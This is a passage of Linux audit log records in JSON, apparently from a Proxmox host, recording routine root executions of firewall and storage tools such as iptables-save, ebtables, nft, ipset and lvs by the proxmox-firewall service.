{"@timestamp":1781966245279,"@rawstring":"node=pve type=PATH msg=audit(1781966245.279:69058): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.422:66089): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.790:62814): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245268,"@rawstring":"node=pve type=PATH msg=audit(1781966245.268:69056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.415:66088): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.785:62811): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245268,"@rawstring":"node=pve type=PATH msg=audit(1781966245.268:69056): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.415:66087): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.227:62808): arch=c000003e syscall=59 success=yes exit=0 a0=5f3cb341dd30 a1=5f3cb3429b30 a2=5f3cb33f7680 a3=5 items=2 ppid=60261 pid=60267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245260,"@rawstring":"node=pve type=PATH msg=audit(1781966245.260:69055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.415:66086): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.224:62807): arch=c000003e syscall=59 success=yes exit=0 a0=5f3c9d9d0ac8 a1=7ffd18d110b0 a2=5f3cb33f7680 a3=5f3c9d9b424e items=2 ppid=60261 pid=60263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245260,"@rawstring":"node=pve type=PATH msg=audit(1781966245.260:69055): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.408:66085): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.223:62806): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd18d11070 a1=5f3cb34193d0 a2=5f3cb33f7680 a3=5 items=2 ppid=60261 pid=60262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244797,"@rawstring":"node=pve type=PATH msg=audit(1781966244.797:69054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.408:66084): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.219:62804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244797,"@rawstring":"node=pve type=PATH msg=audit(1781966244.797:69054): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965548408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965548.408:66083): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964825213,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.213:62803): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244773,"@rawstring":"node=pve type=PATH msg=audit(1781966244.773:69053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965546014,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965546.014:66082): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964825207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.207:62802): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966244773,"@rawstring":"node=pve type=PATH msg=audit(1781966244.773:69053): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965546.008:66081): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964825201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.201:62801): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PATH msg=audit(1781966240.919:69052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965546.008:66080): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.195:62800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PATH msg=audit(1781966240.919:69052): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965546008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965546.008:66079): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.191:62799): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58183270c740 items=0 ppid=1156 pid=60256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PATH msg=audit(1781966240.919:69051): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965546002,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965546.002:66078): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.188:62798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13c090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240919,"@rawstring":"node=pve type=PATH msg=audit(1781966240.919:69050): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545995,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.995:66077): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.184:62797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PATH msg=audit(1781966240.913:69049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.986:66076): proctitle=\"iptables-save\""} {"@timestamp":1781964825179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.179:62796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1383d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PATH msg=audit(1781966240.913:69049): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.978:66075): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.174:62795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PATH msg=audit(1781966240.913:69048): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.968:66074): proctitle=\"iptables-save\""} {"@timestamp":1781964825169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.169:62794): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dec10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966240913,"@rawstring":"node=pve type=PATH msg=audit(1781966240.913:69047): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545964,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.964:66073): proctitle=\"ebtables-restore\""} {"@timestamp":1781964825163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.163:62793): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb870ad70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PATH msg=audit(1781966235.902:69046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.962:66072): proctitle=\"ebtables-restore\""} {"@timestamp":1781964825156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.156:62792): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PATH msg=audit(1781966235.902:69046): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.956:66071): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964825150,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.150:62791): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PATH msg=audit(1781966235.902:69045): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.949:66070): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964825146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.146:62790): arch=c000003e syscall=59 success=yes exit=0 a0=5e164a52dcf0 a1=5e164a539f00 a2=5e164a507680 a3=5 items=2 ppid=60242 pid=60248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235902,"@rawstring":"node=pve type=PATH msg=audit(1781966235.902:69044): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.942:66069): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964825143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.143:62789): arch=c000003e syscall=59 success=yes exit=0 a0=5e160d846ac8 a1=7ffcaf5f6cb0 a2=5e164a507680 a3=5e160d82a24e items=2 ppid=60242 pid=60244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PATH msg=audit(1781966235.889:69043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.936:66068): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.142:62788): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcaf5f6c70 a1=5e164a529390 a2=5e164a507680 a3=5 items=2 ppid=60242 pid=60243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PATH msg=audit(1781966235.889:69043): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545928,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.928:66067): proctitle=697073657400726573746F7265"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.138:62786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PATH msg=audit(1781966235.889:69042): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.916:66066): proctitle=\"ip6tables-save\""} {"@timestamp":1781964825132,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.132:62785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235889,"@rawstring":"node=pve type=PATH msg=audit(1781966235.889:69041): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.906:66065): proctitle=\"iptables-save\""} {"@timestamp":1781964825125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.125:62784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235247,"@rawstring":"node=pve type=PATH msg=audit(1781966235.247:69040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.900:66064): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964825120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.120:62783): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cf720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235247,"@rawstring":"node=pve type=PATH msg=audit(1781966235.247:69040): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.897:66063): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964825113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.113:62782): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1306f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235244,"@rawstring":"node=pve type=PATH msg=audit(1781966235.244:69039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.896:66062): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964825107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964825.107:62781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235244,"@rawstring":"node=pve type=PATH msg=audit(1781966235.244:69039): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.896:66061): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964824223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964824.223:62780): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5a40 a1=64f8d73b0e20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=PATH msg=audit(1781966235.243:69038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.891:66060): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964824196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964824.196:62779): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d72e0500 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=PATH msg=audit(1781966235.243:69038): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545879,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.879:66059): proctitle=\"ip6tables-save\""} {"@timestamp":1781964820772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.772:62778): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 